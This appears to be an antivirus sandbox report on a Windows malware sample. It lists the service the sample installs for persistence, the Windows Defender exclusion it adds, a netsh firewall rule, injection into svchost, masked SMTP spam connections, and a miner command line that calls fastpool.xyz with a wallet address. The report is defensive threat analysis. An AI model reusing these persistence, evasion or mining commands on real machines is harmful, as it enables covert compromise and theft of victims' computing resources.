Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\mpzrwcwe] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mpzrwcwe] 'ImagePath' = '%WINDIR%\SysWOW64\mpzrwcwe\tfdlgdah.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\mpzrwcwe] 'ImagePath' = '%WINDIR%\SysWOW64\mpzrwcwe\tfdlgdah.exe'
Creates the following services
- 'mpzrwcwe' %WINDIR%\SysWOW64\mpzrwcwe\tfdlgdah.exe /d"<Full path to file>"
- 'mpzrwcwe' %WINDIR%\SysWOW64\mpzrwcwe\tfdlgdah.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mpzrwcwe' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\tfdlgdah.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\tfdlgdah.exe to %WINDIR%\syswow64\mpzrwcwe\tfdlgdah.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'ma##.#piclink.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'fs####.ratkaisutalo.fi':25
- 'ap###.paypal.com':443
- 'mx##.##a.mailcore.net':25
- 'ma##.##bsitesource.net':25
- 'ma##.#-email.net':25
- 'ma##.#rsmmuar.com':25
- 'mt##.##0.yahoodns.net':25
- 'ma##.lcfpd.org':25
- 'mx#######f01.gslb.pphosted.com':25
- 'mx#######701.gslb.pphosted.com':25
- 'mx#######601.gslb.pphosted.com':25
- '10#.#8.138.44':443
- 'po####ate.kddi.com':25
- 'mx#######d01.gslb.pphosted.com':25
- 'ma###.#ailinator.com':25
- 'mx.###ilarray.com':25
- 'fa###ool.xyz':10060
- '52.##3.241.7':443
- 'mx#.#aver.com':25
- 'ex####l.bigpond.com':25
- 'mx.###cher4ever.com':25
- 'mx#.####.net.gslb.pphosted.com':25
- 'ps#####.powersouth.com':25
- 'mx##.#bs.open.ch':25
- 'mx#######e01.gslb.pphosted.com':25
- 'alt2.aspmx.l.google.com':25
- 'mx###.m2bp.com':25
- 'mx#######a02.gslb.pphosted.com':25
- 'mx#######001.gslb.pphosted.com':25
- 'mx##.##il.icloud.com':25
- 'r-####6.korea.com':25
- 'ma##.###ting-advantage.com':25
- 'cu#######1.in.mailcontrol.com':25
- 'be#####um.intertech.net':25
- 'mx##.1and1.com':25
- 'ip#####ntm01.hhsc.ca':25
- 'al######x-vip2.prodigy.net':25
- 'mx#######c01.gslb.pphosted.com':25
- 'ei####.#x.a.cloudfilter.net':25
- 'ma##.#ityofpt.us':25
- 'mx#######101.gslb.pphosted.com':25
- 'mx#.qq.com':25
- 'mx.#len.pl':25
- 'xm####a.excite.com':25
- 'mx#######901.gslb.pphosted.com':25
- 'em#.mail.ru':25
- 'ma######er-ng-4.sunet.se':25
- 'mx.#####.#om.cust.b.hostedemail.com':25
- 'mx.#p.pl':25
- 'mx##.mail.com':25
- 'ho#########.olc.protection.outlook.com':25
- '17#.#13.115.158':483
- 'sv####lfheim.top':443
- 'mx.###zta.onet.pl':25
- 'mx#######602.gslb.pphosted.com':25
- 'em##.freenet.de':25
- 'mx#######501.gslb.pphosted.com':25
- 'mx##.###us-vadesecure.net':25
- 'google.com':80
- 'cm######1.mail.tiscali.it':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx######ort.core.plus.net':25
- 'mx#.#ate.com':25
- 'mx#.##ailsrvr.com':25
- 'mx#.#mpal.com':25
- 'lo########eers.ogame.gameforge.com':443
- '17#.#13.115.157':419
- 'mx#.##lkomsa.net':25
- '17#.#13.115.156':419
- '80.#6.75.4':419
- '17#.#13.115.155':419
- '17#.#13.115.154':419
- '17#.#13.115.153':419
- 'mx#.#anmail.net':25
- 'mx######91d01.pphosted.com':25
- 'ma#####ter2.as8401.net':25
- 'mx####.##il.gm0.yahoodns.net':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'ma###.#ailinator.com':25
- 'mt##.##0.yahoodns.net':25
- 'ma##.#-email.net':25
- 'mx##.##a.mailcore.net':25
- 'ma##.##bsitesource.net':25
- 'ap###.paypal.com':443
- 'mx.###ilarray.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'ma##.#piclink.net':25
- 'fa###ool.xyz':10060
- 'alt2.aspmx.l.google.com':25
- 'mx###.m2bp.com':25
- 'be#####um.intertech.net':25
- 'ma##.###ting-advantage.com':25
- '52.##3.241.7':443
- 'mx##.#bs.open.ch':25
- 'ma#####ter2.as8401.net':25
- 'mx#######602.gslb.pphosted.com':25
- 'mx#.#aver.com':25
- 'ma##.lcfpd.org':25
- '10#.#8.138.44':443
- '17#.#13.115.158':483
- 'ma######er-ng-4.sunet.se':25
- 'ho#########.olc.protection.outlook.com':25
- 'mx.###zta.onet.pl':25
- 'em#.mail.ru':25
- 'mx#.qq.com':25
- '80.#6.75.4':419
- '17#.#13.115.156':419
- '17#.#13.115.154':419
- '17#.#13.115.155':419
- 'mx#.#anmail.net':25
- '17#.#13.115.157':419
- '17#.#13.115.153':419
- 'lo########eers.ogame.gameforge.com':443
- 'mx######ort.core.plus.net':25
- 'al######x-vip2.prodigy.net':25
- 'ma##.#rsmmuar.com':25
- 'po####ate.kddi.com':25
- 'mx####.##il.gm0.yahoodns.net':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK io##one.net
- DNS ASK ma##.#piclink.net
- DNS ASK fa###ool.xyz
- DNS ASK fr###ier.com
- DNS ASK ma###nator.com
- DNS ASK ho###olar.com
- DNS ASK yc##b.ca
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK la###able.net
- DNS ASK be#####um.intertech.net
- DNS ASK us##.net
- DNS ASK su##noe.us
- DNS ASK tr##ton.com
- DNS ASK mx###.m2bp.com
- DNS ASK re###fmail.com
- DNS ASK fs####.ratkaisutalo.fi
- DNS ASK ap###.paypal.com
- DNS ASK mx##.##a.mailcore.net
- DNS ASK tc##.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK cn##.org
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK lc##d.org
- DNS ASK cu#######1.in.mailcontrol.com
- DNS ASK ma##.lcfpd.org
- DNS ASK po####ate.kddi.com
- DNS ASK ma###.#ailinator.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ti##jo.com
- DNS ASK ma##.#-email.net
- DNS ASK va####ehoops.com
- DNS ASK ma##.##bsitesource.net
- DNS ASK so####nedwards.com
- DNS ASK lu##ku.com
- DNS ASK ro###tmail.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK de####appagamma.org
- DNS ASK ic##ud.com
- DNS ASK oc##.net
- DNS ASK mx#.####.net.gslb.pphosted.com
- DNS ASK ca####r4ever.com
- DNS ASK mx.###cher4ever.com
- DNS ASK pp##.org
- DNS ASK su#.com
- DNS ASK ub#.com
- DNS ASK pr###erinc.com
- DNS ASK ex####l.bigpond.com
- DNS ASK pr###ivers.com
- DNS ASK ma###ox.co.uk
- DNS ASK ma#####ter2.as8401.net
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK po###south.com
- DNS ASK ps#####.powersouth.com
- DNS ASK mx##.#bs.open.ch
- DNS ASK vo##.com
- DNS ASK mx#.#anmail.net
- DNS ASK mx##.##il.icloud.com
- DNS ASK br###.gov.uk
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK ge.com
- DNS ASK mx#######a02.gslb.pphosted.com
- DNS ASK ma##.###ting-advantage.com
- DNS ASK r-####6.korea.com
- DNS ASK ko##a.com
- DNS ASK vi###jet.com
- DNS ASK st##e.co.us
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK cr##ers.com
- DNS ASK be##ley.com
- DNS ASK pi##o.com
- DNS ASK ah#.com
- DNS ASK vu##law.com
- DNS ASK mx##.1and1.com
- DNS ASK kd##.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK fo##ham.edu
- DNS ASK xm####a.excite.com
- DNS ASK o2.pl
- DNS ASK mx.#len.pl
- DNS ASK fo##ail.com
- DNS ASK mx#.qq.com
- DNS ASK op.pl
- DNS ASK fr##net.de
- DNS ASK wl##re.com
- DNS ASK ci##ofpt.us
- DNS ASK ma##.#ityofpt.us
- DNS ASK ei##om.net
- DNS ASK ei####.#x.a.cloudfilter.net
- DNS ASK ad###oducts.com
- DNS ASK ic##ail.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK ma###xcite.com
- DNS ASK mx.###zta.onet.pl
- DNS ASK ma######er-ng-4.sunet.se
- DNS ASK sv####lfheim.top
- DNS ASK ho##ail.com
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ma##.com
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK mx##.mail.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK mx.#p.pl
- DNS ASK ly##s.com
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK ra###l.uu.se
- DNS ASK vp.pl
- DNS ASK wp.pl
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK em#.mail.ru
- DNS ASK em##.freenet.de
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK cm######1.mail.tiscali.it
- DNS ASK ea###link.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK be###outh.com
- DNS ASK mr###uar.com
- DNS ASK tn#.com.au
- DNS ASK pg.com
- DNS ASK ka###ail.com
- DNS ASK ma##.#rsmmuar.com
- DNS ASK ip#####ntm01.hhsc.ca
- DNS ASK be###outh.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK rt##p.com
- DNS ASK mx.###ilarray.com
- DNS ASK as#.edu
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK hh#c.ca
- DNS ASK bi##ond.com
- DNS ASK ve##zon.net
- DNS ASK mx#.#ate.com
- DNS ASK am###trade.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK te###msa.net
- DNS ASK mx#.##lkomsa.net
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK gl###lnet.co.uk
- DNS ASK mx######ort.core.plus.net
- DNS ASK ha##ail.net
- DNS ASK lo########eers.ogame.gameforge.com
- DNS ASK em##l.com
- DNS ASK mx#.#mpal.com
- DNS ASK tr####millwork.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK na##.com
- DNS ASK mx#######602.gslb.pphosted.com
- DNS ASK google.com
- DNS ASK mx####.##il.gm0.yahoodns.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\mpzrwcwe\tfdlgdah.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mpzrwcwe\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\tfdlgdah.exe" %WINDIR%\SysWOW64\mpzrwcwe\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create mpzrwcwe binPath= "%WINDIR%\SysWOW64\mpzrwcwe\tfdlgdah.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description mpzrwcwe "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start mpzrwcwe' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mpzrwcwe\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\tfdlgdah.exe" %WINDIR%\SysWOW64\mpzrwcwe\
- '%WINDIR%\syswow64\sc.exe' create mpzrwcwe binPath= "%WINDIR%\SysWOW64\mpzrwcwe\tfdlgdah.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description mpzrwcwe "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start mpzrwcwe
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
